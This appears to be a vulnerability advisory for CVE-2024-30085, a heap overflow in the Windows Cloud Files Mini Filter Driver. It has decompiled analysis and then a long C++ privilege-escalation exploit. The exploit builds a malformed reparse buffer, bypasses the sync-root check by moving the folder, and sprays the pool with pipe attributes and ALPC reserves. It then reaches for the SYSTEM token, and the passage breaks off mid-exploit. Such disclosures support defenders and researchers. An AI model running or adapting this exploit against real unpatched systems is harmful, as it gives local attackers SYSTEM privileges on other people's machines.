Summary

A vulnerability allows local attackers to escalate privileges on affected installations of Microsoft Windows. To exploit this vulnerability, an attacker must first obtain the ability to execute low-privileged code on the target system.

The specific flaw exists within the Cloud Files Mini Filter Driver. The issue results from the improper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of SYSTEM.

The exploit was successfully demonstrated during the TyphoonPWN 2024 event and took third place.

Credit

An independent security researcher, Alex Birnberg, participating in TyphoonPWN 2024 and winning third place.

Vendor Response

Microsoft has released a patch for this vulnerability: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30085

Affected Versions

Windows 11 23H2

CVE

CVE-2024-30085

Technical Analysis

The root cause of the vulnerability may be found within the HsmIBitmapNORMALOpen function within the cldflt minifilter driver. When parsing reparse point bitmaps [1] the function first checks [2] if the size of the bitmap is larger than 0xfff and if it is it copies [3] it copies it to a constant-size heap-allocated buffer.

int HsmIBitmapNORMALOpen
              (FLT_INSTANCE_CONTEXT *instanceContext,void *param_2,longlong param_3,
              undefined4 param_4,CLD_REPARSE_DATA_BUFFER_1 *buffer,UINT length,undefined8 *param_7)

{  
  local_70 = (void *)0x0;
  // ...
    if (buffer->numItems < 5) {
LAB_1c006ce47:
      iVar16 = -0x3ffffddb;
    }
    else {
      uVar3 = buffer->size;
      pFVar17 = (FLT_INSTANCE_CONTEXT *)(ulonglong)uVar3;
      if ((((uVar3 < 0x38) || (uVar1 = buffer->items[4].tag, 0x11 < uVar1)) ||
          ((uVar4 = buffer->items[4].offset, uVar4 != 0 &&
           ((uVar4 < (uint)buffer->numItems * 8 + 0x10 || (uVar3 < uVar4)))))) ||
         ((uVar2 = buffer->items[4].size, uVar3 < uVar2 ||
          (((uVar7 = uVar2 + uVar4, uVar7 < uVar4 || (uVar3 < uVar7)) || (uVar1 != 0x11))))))
      goto LAB_1c006ce47;
      uVar19 = buffer->items[4].offset;
      if ((uVar19 == 0) || (buffer->items[4].size == 0)) {
        local_70 = (void *)0x0;
      }
      else {
        local_70 = (void *)((longlong)&((CLD_REPARSE_DATA_BUFFER_1 *)(buffer->items + -2))->magic +
                           (ulonglong)uVar19); // 1
      }
      uVar19 = (uint)buffer->items[4].size;
    }
    if (iVar16 < 0) {
      uVar19 = 0;
    }
  }
  // ...
  if ((local_70 == (void *)0x0) || (0xffe < uVar19 - 1)) { // 2
    uVar18 = 0x6d427348;
    *(undefined8 *)(puVar15 + -8) = 0x1c006d123;
    pvVar11 = (void *)ExAllocatePool2(0x100,0x1000,0x6d427348);
    bitmap->field8_0x38 = pvVar11;
    if (pvVar11 != (void *)0x0) {
      *(undefined8 *)(puVar15 + -8) = 0x1c006d1a3;
      memmove(pvVar11,local_70,(ulonglong)uVar19); // 3
      goto LAB_1c006d1a3;
  // ...
}

The code attempts to check [6] that the length of the bitmap does not exceed the size of the constant sized buffer, however prior to checking the length a variable is fetched [4] from the reparse point, and if it is set to false then the length check is skipped.

int HsmpBitmapIsReparseBufferSupported(CLD_REPARSE_DATA_BUFFER_1 *buffer,uint length)
{
  // ...
                    /* check item 2, tag = 0x7, size = 0x1 */
              if (((((uVar3 < 0x18) || (buffer->numItems < 3)) || (uVar3 < 0x28)) ||
                  (uVar1 = buffer->items[2].tag, 0x11 < uVar1)) ||
                 ((((uVar6 = buffer->items[2].offset, uVar6 != 0 &&
                    ((uVar6 < (uint)buffer->numItems * 8 + 0x10 || (uVar3 < uVar6)))) ||
                   (uVar2 = buffer->items[2].size, uVar3 < uVar2)) ||
                  (((uVar7 = uVar2 + uVar6, uVar7 < uVar6 || (uVar3 < uVar7)) ||
                   ((uVar1 != 7 || (buffer->items[2].size != 1)))))))) {
                status = -0x3ffffddb;
              }
              else {
                memmove(&local_res8,
                        (void *)((longlong)
                                 &((CLD_REPARSE_DATA_BUFFER_1 *)(buffer->items + -2))->magic +
                                (ulonglong)buffer->items[2].offset),1);
                hasBuf = (bool)local_res8; // 4
              }
              // ...
              if (hasBuf != false) { // 5
                if (buffer->numItems < 4) {
                  // ...
                }
                if (buffer->items[4].offset == 0) {
                  // ...
                }
                if (0x1000 < buffer->items[4].size) { // 6
                  HsmDbgBreakOnCorruption();
                  HsmDbgBreakOnStatus(-0x3fff30fe);
                  if ((undefined **)WPP_GLOBAL_Control == &WPP_GLOBAL_Control) {
                    return -0x3fff30fe;
                  }
                  if ((*(uint *)(WPP_GLOBAL_Control + 0x2c) & 1) == 0) {
                    return -0x3fff30fe;
                  }
                  if ((byte)WPP_GLOBAL_Control[0x29] < 2) {
                    return -0x3fff30fe;
                  }
                  WPP_SF_ddd(*(undefined8 *)(WPP_GLOBAL_Control + 0x18),0xa2,
                             &WPP_ebfc5217bc2638101cf379f140ac8387_Traceguids,
                             (uint)buffer->items[4].size,0,2);
                  return -0x3fff30fe;
                }
              }
    // ...
}

By default, setting reparse points within a sync root after it is registered and connected is not allowed. The code calls [7] the HsmiCldGetSyncProviderProcess function to make sure this is the case by check that for every file it belongs to no sync root.

uint HsmFltPreFILE_SYSTEM_CONTROL
               (FLT_CALLBACK_DATA *data,FLT_RELATED_OBJECTS *fltObjects,PVOID *completionContext)

{
  // ...
      if (uVar1 == FSCTL_SET_REPARSE_POINT) {
        reparseUpdate = (FLT_REPARSE_UPDATE *)0x0;
        local_50 = (FLT_INSTANCE_CONTEXT *)0x0;
        providerProcess = (PEPROCESS)0x0;
        if (3 < *(uint *)&(pFVar17->parameters).Argument2) {
                    /* WARNING: Load size is inaccurate */
          if ((streamContext == (FLT_STREAM_CONTEXT *)0x0) ||
             ((*(uint *)((longlong)&(streamContext->reparseUpdate->lock).field0_0x0 + 4) & 1) == 0))
          {
            if ((*(pFVar17->parameters).Argument4 & 0xffff0fff) != g_reparseTagCloud)
            goto LAB_1c007ebb9;
            if (streamContext != (FLT_STREAM_CONTEXT *)0x0) goto LAB_1c007ea86;
          }
          else {
LAB_1c007ea86:
            reparseUpdate = streamContext->reparseUpdate;
            local_50 = (FLT_INSTANCE_CONTEXT *)reparseUpdate->field2_0x10->instance;
          }
          instance = (FLT_INSTANCE_CONTEXT *)0x0;
          FltGetInstanceContext(pFVar17->targetInstance,&instance);
          if (instance != (FLT_INSTANCE_CONTEXT *)0x0) {
            if (instance->magic != 0x63497348) {
              FltReleaseContext(instance);
              instance = (FLT_INSTANCE_CONTEXT *)0x0;
            }
            context = instance;
            if (instance != (FLT_INSTANCE_CONTEXT *)0x0) {
              iVar8 = HsmiCldGetSyncProviderProcess
                                (instance,reparseUpdate,data->iopb->targetFileObject, // 7
                                 (PEPROCESS *)&providerProcess);
              HsmDbgBreakOnStatus(iVar8);
              if (-1 < (int)iVar8) {
                if (providerProcess == (PEPROCESS)0x0) goto LAB_1c007ebad;
                iVar8 = 0xc000cf18;
                HsmDbgBreakOnStatus(-0x3fff30e8);
              }
              if ((((undefined **)WPP_GLOBAL_Control != &WPP_GLOBAL_Control) &&
                  ((*(uint *)(WPP_GLOBAL_Control + 0x2c) & 1) != 0)) &&
                 (1 < (byte)WPP_GLOBAL_Control[0x29])) {
                uVar14 = 0x13;
LAB_1c007eb5e:
                WPP_SF_iiqd(*(undefined8 *)(WPP_GLOBAL_Control + 0x18),uVar14,
                            &WPP_342c4cc461be373729abc9b16bce3879_Traceguids,streamContext,
                            (char)reparseUpdate,(char)local_50,(char)iVar8);
              }
LAB_1c007eb89:
              FltReleaseContext(context);
              if ((int)iVar8 < 0) {
                (data->ioStatus).field0_0x0.Status = iVar8;
                uVar10 = 4;
                (data->ioStatus).Information = 0;
              }
            }
          }
        }
        goto LAB_1c007ebb9;
      }
  // ...
}

The HsmiCldGetSyncProviderProcess function obtains [8] the file name from the file object and uses it to get [9] the sync root entry associated with that file. The check is flawed however as the file name field is only valid during IRP_MJ_CREATE. A directory where the file resides can be moved and then made into a reparse point, bypassing the check as there are no sync roots with the new path.

int HsmiCldGetSyncProviderProcess
              (FLT_INSTANCE_CONTEXT *instanceContext,FLT_REPARSE_UPDATE *reparseUpdate,
              PFILE_OBJECT fileObject,PEPROCESS *providerProcess)

{
  // ...
  if (fileObject != (PFILE_OBJECT)0x0) {
    status = HsmiQueryFullFilePath
                       (instanceContext->instance,reparseUpdate_0,fileObject,0x101, // 8
                        (PUNICODE_STRING)&filePath);
    // ...
      lVar1 = (PEPROCESS)
              (*CldHsmGetSyncProviderProcessByPath)
                        (*(undefined8 *)&instanceContext->field_0x10,&filePath); // 9
  }
  // ...
  return status;
}
Exploit
// main.cpp
#include <Windows.h>
#include <cfapi.h>
#include <tchar.h>
#include <stdio.h>
#include <winternl.h>

#include "main.h"

#pragma comment(lib, "cldapi.lib")
#pragma comment(lib, "ntdll.lib")

typedef struct _ALPC_MESSAGE_ATTRIBUTES {
  ULONG AllocatedAttributes;
  ULONG ValidAttributes;
}
ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;

typedef struct _ALPC_MESSAGE {
  PORT_MESSAGE PortHeader;
  BYTE PortMessage[1000];
}
ALPC_MESSAGE, * PALPC_MESSAGE;

/*
typedef struct _CLIENT_ID {
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID;
*/

/*
typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemHandleInformation = 16,
	SystemBigPoolInformation = 66
} SYSTEM_INFORMATION_CLASS;
*/

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  HANDLE Section;
  PVOID MappedBase;
  PVOID ImageBase;
  ULONG ImageSize;
  ULONG Flags;
  USHORT LoadOrderIndex;
  USHORT InitOrderIndex;
  USHORT LoadCount;
  USHORT OffsetToFileName;
  UCHAR FullPathName[256];
}
RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
  ULONG NumberOfModules;
  RTL_PROCESS_MODULE_INFORMATION Modules[1];
}
RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
  unsigned short UniqueProcessId;
  unsigned short CreatorBackTraceIndex;
  unsigned char ObjectTypeIndex;
  unsigned char HandleAttributes;
  unsigned short HandleValue;
  void * Object;
  unsigned long GrantedAccess;
  long __PADDING__[1];
}
SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
  unsigned long NumberOfHandles;
  struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
}
SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _SYSTEM_BIGPOOL_ENTRY {
  union {
    PVOID VirtualAddress;
    ULONG_PTR NonPaged: 1;
  };
  SIZE_T SizeInBytes;
  union {
    UCHAR Tag[4];
    ULONG TagUlong;
  };
}
SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;

typedef struct _SYSTEM_BIGPOOL_INFORMATION {
  ULONG Count;
  SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
}
SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;

typedef NTSTATUS(NTAPI * NTFSCONTROLFILE)(
  IN HANDLE FileHandle,
  IN HANDLE Event OPTIONAL,
  IN PVOID ApcRoutine OPTIONAL,
  IN PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  IN ULONG FsControlCode,
  IN PVOID InputBuffer OPTIONAL,
  IN ULONG InputBufferLength,
  OUT PVOID OutputBuffer OPTIONAL,
  IN ULONG OutputBufferLength
);

extern "C"
NTSTATUS NTAPI NtAlpcCreatePort(
  _Out_ PHANDLE PortHandle,
  _In_ POBJECT_ATTRIBUTES ObjectAttributes,
  _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes
);

extern "C"
NTSTATUS NTAPI NtAlpcCreateResourceReserve(
  _In_ HANDLE PortHandle,
  _Reserved_ ULONG Flags,
  _In_ SIZE_T MessageSize,
  _Out_ PHANDLE ResourceId
);

extern "C"
NTSTATUS NTAPI NtAlpcSendWaitReceivePort(
  _In_ HANDLE PortHandle,
  _In_ ULONG Flags,
  _Inout_opt_ PPORT_MESSAGE SendMessage,
  _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes,
  _Inout_opt_ PPORT_MESSAGE ReceiveMessage,
  _Inout_opt_ PSIZE_T BufferLength,
  _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,
  _In_opt_ PLARGE_INTEGER Timeout
);

NTFSCONTROLFILE NtFsControlFile;

PREPARSE_DATA_BUFFER MakeDataBuffer(PVOID overData, ULONG overSize) {
  DWORD dataLen = 0x3fe8;
  PBYTE data = new BYTE[dataLen];

  memset(data, 0, dataLen);
  *(PUSHORT) & data[0x0] = 0x0001;
  *(PUSHORT) & data[0x2] = 0x4000;

  PREPARSE_CLD_BUFFER cld = (PREPARSE_CLD_BUFFER) & data[4];
  PBYTE p = (PBYTE) & cld -> Magic;
  cld -> Magic = REPARSE_BUFFER_MAGIC_VALUE;
  cld -> Reserved = 0x0000;
  cld -> NumItems = 0;
  cld -> Size = 0x3fe4;

  CLD_ADD_ITEM(0x7, 1, 0x200); // must be {0, 1}
  CLD_ADD_ITEM(0xa, 4, 0x204); // some kind of flag
  CLD_ADD_ITEM(0x6, 8, 0x208); // ???
  CLD_ADD_ITEM(0, 0, 0); // dummy
  CLD_ADD_ITEM(0x11, 0x3800, 0x210); // bitmap

  *(PBYTE) & p[0x200] = 0x01;
  *(PULONG32) & p[0x204] = 0x00000000;
  *(PULONG64) & p[0x208] = 0x0000000000000000;

  cld = (PREPARSE_CLD_BUFFER) & p[0x210];
  p = (PBYTE) & cld -> Magic;
  cld -> Magic = REPARSE_BITMAP_MAGIC_VALUE;
  cld -> Reserved = 0x0000;
  cld -> NumItems = 0;
  cld -> Size = 0x3800;

  CLD_ADD_ITEM(0x7, 1, 0x100);
  CLD_ADD_ITEM(0x7, 1, 0x101);
  CLD_ADD_ITEM(0x7, 1, 0x102);
  CLD_ADD_ITEM(0x6, 8, 0x104);
  CLD_ADD_ITEM(0x11, 0x1000 + overSize, 0x110);

  *(PBYTE) & p[0x100] = 0x00;
  *(PBYTE) & p[0x101] = 0x01;
  *(PBYTE) & p[0x102] = 0x00;

  memcpy( & p[0x1110], overData, overSize);

  PBYTE reparseBuffer = new BYTE[sizeof(REPARSE_DATA_BUFFER) + dataLen];
  PREPARSE_DATA_BUFFER rd = (PREPARSE_DATA_BUFFER) reparseBuffer;

  ZeroMemory(reparseBuffer, sizeof(REPARSE_DATA_BUFFER) + dataLen);

  rd -> ReparseTag = IO_REPARSE_TAG_CLOUD;
  rd -> ReparseDataLength = dataLen;
  memcpy(rd -> GenericReparseBuffer.DataBuffer, data, dataLen);

  return rd;
}

BOOL GetObjAddr(PVOID * ppObjAddr, ULONG ulPid, HANDLE handle) {
  PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
  ULONG ulBytes = 0;
  NTSTATUS ntRet;

  * ppObjAddr = NULL;

  while ((ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 16, pHandleInfo, ulBytes, & ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) {
    if (pHandleInfo != NULL) {
      pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(pHandleInfo, 2 * ulBytes);
    } else {
      pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) calloc(1, 2 * ulBytes);
    }
  }

  if (!NT_SUCCESS(ntRet)) {
    goto Exit;
  }

  for (ULONG i = 0; i < pHandleInfo -> NumberOfHandles; i++) {
    if ((pHandleInfo -> Handles[i].UniqueProcessId == ulPid) && (pHandleInfo -> Handles[i].HandleValue == (USHORT) handle)) {
      * ppObjAddr = pHandleInfo -> Handles[i].Object;
      break;
    }
  }

  Exit:
    if (pHandleInfo)
      free(pHandleInfo);

  return ( * ppObjAddr != NULL);
}

BOOL GetPoolAddr(PVOID * ppPoolAddr, UINT tag, SIZE_T poolSize) {
  NTSTATUS ntRet;
  BOOL bRet = FALSE;
  ULONG retlen;

  * ppPoolAddr = NULL;
  DWORD * info = (DWORD * ) malloc(0x1000);
  PSYSTEM_BIGPOOL_INFORMATION pBigPoolInfo;
  ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 66, info, 0x1000, & retlen);
  if ((ntRet != STATUS_INFO_LENGTH_MISMATCH) && !NT_SUCCESS(ntRet)) {
    goto Exit;
  }

  info = (DWORD * ) realloc(info, retlen);
  ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 66, info, retlen, & retlen);
  if (!NT_SUCCESS(ntRet)) {
    goto Exit;
  }

  pBigPoolInfo = (PSYSTEM_BIGPOOL_INFORMATION) info;
  if (pBigPoolInfo -> Count == 0) {
    goto Exit;
  }
  for (ULONG i = pBigPoolInfo -> Count - 1; i >= 0; i--) {
    if ((pBigPoolInfo -> AllocatedInfo[i].TagUlong == tag) && (pBigPoolInfo -> AllocatedInfo[i].SizeInBytes == poolSize)) {
      * ppPoolAddr = pBigPoolInfo -> AllocatedInfo[i].VirtualAddress;
      bRet = TRUE;
      break;
    }
  }

  Exit:
    free(info);
  return bRet;
}

HANDLE g_readPipe;
HANDLE g_writePipe;

BOOL PipeInit() {
  return CreatePipe( & g_readPipe, & g_writePipe, NULL, 0);
}

BOOL PipeWriteAttr(VOID * attr, UINT attrSize) {
  IO_STATUS_BLOCK iosb;
  char output[0x100];
  NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, &
    iosb, 0x11003C, attr, attrSize,
    output, sizeof(output));
  return NT_SUCCESS(ntRet);
}

BOOL PipeReadAttr(CHAR * pipeName, PVOID pOutput, SIZE_T outputSize) {
  IO_STATUS_BLOCK iosb;
  NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, & iosb, 0x110038, pipeName, strlen(pipeName) + 1, pOutput, outputSize);
  return NT_SUCCESS(ntRet);
}

BOOL PipePoolSprayAlloc(SIZE_T poolSize, UINT sprayCount, BYTE * pAttr, PCSTR szPrefix) {
  BOOL bRet = TRUE;
  SIZE_T attrSize = poolSize - 0x28;

  for (UINT i = 0; i < sprayCount; i++) {
    snprintf((CHAR * ) pAttr, attrSize, "%s%x", szPrefix, i);
    if (!PipeWriteAttr(pAttr, attrSize)) {
      bRet = FALSE;
      break;
    }
  }

  return bRet;
}

HANDLE g_hResource = NULL;

BOOL AllocateALPCReserveHandles(HANDLE * phPorts, UINT portsCount, UINT reservesCount) {
  HANDLE hPort;
  HANDLE hResource;
  NTSTATUS ntRet;

  for (UINT i = 0; i < portsCount; i++) {
    hPort = phPorts[i];
    for (UINT j = 0; j < reservesCount; j++) {
      ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, & hResource);
      if (!NT_SUCCESS(ntRet))
        return FALSE;
      if (g_hResource == NULL) { // save only the very first
        g_hResource = hResource;
      }

    }
  }

  return TRUE;
}

BOOL isKernAddr(ULONG_PTR kaddr) {
  return ((kaddr & 0xffff800000000000) == 0xffff800000000000);
}

BOOL CreateALPCPorts() {
  ALPC_PORT_ATTRIBUTES portAttr;
  OBJECT_ATTRIBUTES oa;
  NTSTATUS status;
  UNICODE_STRING objName;
  WCHAR portName[100];

  for (UINT i = 0; i < g_portCount; i++) {
    swprintf_s(portName, 100, L "\\RPC Control\\TestPort_%d", i);
    RtlInitUnicodeString( & objName, portName);
    InitializeObjectAttributes( & oa, & objName, 0, 0, NULL);
    ZeroMemory( & portAttr, sizeof(portAttr));
    portAttr.MaxMessageLength = MAX_MSG_LEN;
    status = NtAlpcCreatePort( & g_ports[i], & oa, & portAttr);
    if (NT_SUCCESS(status) == FALSE) {
      return FALSE;
    }
  }

  return TRUE;
}

BOOL GetTokenOffset(PUINT offset) {
  BOOL result = FALSE;
  PBYTE peb;
  USHORT buildNumber;

  peb = * (PBYTE * )((PBYTE) NtCurrentTeb() + 0x60);
  buildNumber = * (PUINT16) & peb[0x120];

  if (WINDOWS_BUILD_19H1 <= buildNumber && buildNumber <= WINDOWS_BUILD_19H2) {
    * offset = 0x360;
    result = TRUE;
  } else if (buildNumber >= WINDOWS_BUILD_19H2) {
    * offset = 0x4b8;
    result = TRUE;
  }
  return result;
}

BOOL Initialize() {
  BOOL result;

  g_ports = (PHANDLE) HeapAlloc(GetProcessHeap(), 0, g_portCount * sizeof(HANDLE));
  if (g_ports == NULL) {
    return FALSE;
  }

  result = CreatePipe( & g_readPipe, & g_writePipe, NULL, 0);
  if (result == FALSE) {
    return FALSE;
  }

  result = CreateALPCPorts();
  if (result == FALSE) {
    return FALSE;
  }

  CONST ULONG poolAlHaSize = 0x1000;
  CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1;

  printf("    allocating alpc reserve handles\n");
  result = AllocateALPCReserveHandles(g_ports, g_portCount, reservesCount - 1);
  if (!result) {
    return FALSE;
  }

  HMODULE ntdll;

  ntdll = LoadLibraryW(L "ntdll.dll");
  if (ntdll == NULL) {
    return FALSE;
  }

  NtFsControlFile = (NTFSCONTROLFILE) GetProcAddress(ntdll, "NtFsControlFile");
  if (NtFsControlFile == NULL) {
    return FALSE;
  }

  PKALPC_BLOB blob;

  blob = (PKALPC_BLOB) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE));
  if (blob == NULL) {
    return FALSE;
  }
  blob -> Ref = 1;
  blob -> Type = AlpcReserveType;
  g_reserve = (PKALPC_RESERVE) & blob -> Data;

  blob = (PKALPC_BLOB) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE));
  if (blob == NULL) {
    return FALSE;
  }
  blob -> Ref = 1;
  blob -> Type = AlpcMessageType;
  g_message = (PKALPC_MESSAGE) & blob -> Data;

  g_reserve -> Size = sizeof(KALPC_RESERVE) - sizeof(g_reserve -> Size);
  g_reserve -> Message = g_message;
  g_message -> Reserve = g_reserve;

  return TRUE;
}

int main() {
  BOOL result;
  NTSTATUS status;
  UINT tokenOffset;

  printf("[*] Checking windows version...\n");
  if (GetTokenOffset( & tokenOffset) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  printf("[*] Initializing...\n");
  if (Initialize() == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  CF_SYNC_REGISTRATION reg = {};
  reg.StructSize = sizeof(reg);
  reg.ProviderName = L "TestProvider";
  reg.ProviderVersion = L "1234";
  reg.ProviderId = {
    0xB196E670,
    0x59C7,
    0x4D41,
    {
      0
    }
  };

  CF_SYNC_POLICIES pol = {};
  pol.StructSize = sizeof(pol);
  pol.HardLink = CF_HARDLINK_POLICY_ALLOWED;
  pol.InSync = CF_INSYNC_POLICY_NONE;
  pol.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
  pol.Population.Primary = CF_POPULATION_POLICY_PARTIAL;

  CF_CONNECTION_KEY key = {};
  CF_CALLBACK_REGISTRATION table[1] = {
    CF_CALLBACK_REGISTRATION_END
  };

  WCHAR targetDir[MAX_PATH + 1] = {};
  WCHAR targetPath[MAX_PATH + 1] = {};
  WCHAR tmpPath[MAX_PATH + 1] = {};

  GetCurrentDirectory(MAX_PATH, targetDir);
  swprintf_s(targetPath, L "%s\\SYNC_ROOT", targetDir);

  CfUnregisterSyncRoot(targetPath);
  RemoveDirectory(targetPath);

  printf("    registering provider\n");
  result = CreateDirectory(targetPath, NULL);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  status = CfRegisterSyncRoot(targetPath, & reg, & pol, CF_REGISTER_FLAG_NONE);
  if (NT_SUCCESS(status) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  status = CfConnectSyncRoot(targetPath, table, NULL, CF_CONNECT_FLAG_NONE, & key);
  if (NT_SUCCESS(status) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  printf("    creating reparse point\n");
  swprintf_s(tmpPath, L "%s\\XXX", targetPath);
  result = CreateDirectory(tmpPath, NULL);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  swprintf_s(tmpPath, L "%s\\XXX", targetDir);
  result = MoveFile(targetPath, tmpPath);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  printf("    setting reparse data\n");

  IO_STATUS_BLOCK iosb = {};
  OBJECT_ATTRIBUTES objAttr = {};
  UNICODE_STRING objName = {};
  WCHAR path[MAX_PATH];
  HANDLE file;

  swprintf_s(path, MAX_PATH, L "\\??\\%s%s", targetDir, L "\\XXX\\XXX");

  RtlInitUnicodeString( & objName, path);
  InitializeObjectAttributes( & objAttr, & objName, 0x40, 0, NULL);

  status = NtCreateFile( & file, GENERIC_READ | GENERIC_WRITE, & objAttr, & iosb, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
  if (NT_SUCCESS(status) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  PREPARSE_DATA_BUFFER rd = MakeDataBuffer( & g_reserve, sizeof(g_reserve));
  if (rd == NULL) {
    printf("[-] Error\n");
    return FALSE;
  }

  status = NtFsControlFile(file, NULL, NULL, NULL, & iosb, FSCTL_SET_REPARSE_POINT, rd, rd -> ReparseDataLength + REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, 0);

  CloseHandle(file);

  swprintf_s(tmpPath, L "%s\\XXX", targetDir);
  result = MoveFile(tmpPath, targetPath);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  // Trigger
  ULONG attrSize = 0x1000;
  BYTE * pAttr = (BYTE * ) calloc(attrSize + 10, sizeof(BYTE));
  memset(pAttr, 0, attrSize);

  result = PipePoolSprayAlloc(0x1000, 1, pAttr, "x");
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  result = PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "a");
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  result = PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "b");
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  UINT holesCount = 0;
  for (int i = 0; i < SPRAY_COUNT; i += 2) {
    snprintf((CHAR * ) pAttr, attrSize, "%s%x", "b", i);
    if (!PipeWriteAttr(pAttr, strlen((CHAR * ) pAttr) + 1)) {
      printf("[-] Error\n");
      return FALSE;
    }
    holesCount++;
  }

  result = AllocateALPCReserveHandles(g_ports, g_portCount, 1);
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  for (int i = 1; i < SPRAY_COUNT; i += 2) {
    snprintf((CHAR * ) pAttr, attrSize, "%s%x", "b", i);
    if (!PipeWriteAttr(pAttr, strlen((CHAR * ) pAttr) + 1)) {
      printf("[-] Error\n");
      return FALSE;
    }
  }

  swprintf_s(tmpPath, L "%s\\XXX", targetPath);
  file = CreateFile(tmpPath, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);

  printf("[*] Cleaning up...\n");
  status = CfDisconnectSyncRoot(key);
  if (NT_SUCCESS(status) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  status = CfUnregisterSyncRoot(targetPath);
  if (NT_SUCCESS(status) == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  swprintf_s(tmpPath, L "%s\\XXX", targetPath);
  result = RemoveDirectory(tmpPath);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  result = RemoveDirectory(targetPath);
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  printf("[*] Entering interactive session...\n");

  ULONG_PTR ullEPROCaddr = NULL;
  ULONG_PTR ullSystemEPROCaddr = NULL;
  DWORD dwPid = GetCurrentProcessId();

  HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwPid);
  if (hProc == NULL) {
    printf("[-] Error\n");
    return FALSE;
  }

  CONST UINT PIPE_ATTR_TAG = 0x7441704E;
  ULONG_PTR ullPipeAttributeAddr = NULL;
  result = GetPoolAddr((PVOID * ) & ullPipeAttributeAddr, PIPE_ATTR_TAG, 0x1000);
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  result = GetObjAddr((PVOID * ) & ullSystemEPROCaddr, 4, (HANDLE) 4);
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  result = GetObjAddr((PVOID * ) & ullEPROCaddr, GetCurrentProcessId(), hProc);
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  CHAR pipeName[] = "xxx";
  BYTE * outputData = (BYTE * ) calloc(1, 0x1000);
  ULONG_PTR ullToken;
  LIST_ENTRY tmpEntry;

  g_message -> ExtensionBuffer = (BYTE * ) ullPipeAttributeAddr + 0x20;
  g_message -> ExtensionBufferSize = 0x10;

  ULONG DataLength = 0x10;
  ALPC_MESSAGE * alpcMessage = (ALPC_MESSAGE * ) calloc(1, sizeof(ALPC_MESSAGE));
  alpcMessage -> PortHeader.u1.s1.DataLength = DataLength;
  alpcMessage -> PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
  alpcMessage -> PortHeader.MessageId = (ULONG) g_hResource;
  ULONG_PTR * pAlpcMsgData = (ULONG_PTR * )((BYTE * ) alpcMessage + sizeof(PORT_MESSAGE));
  pAlpcMsgData[0] = ullSystemEPROCaddr; // AttributeValue
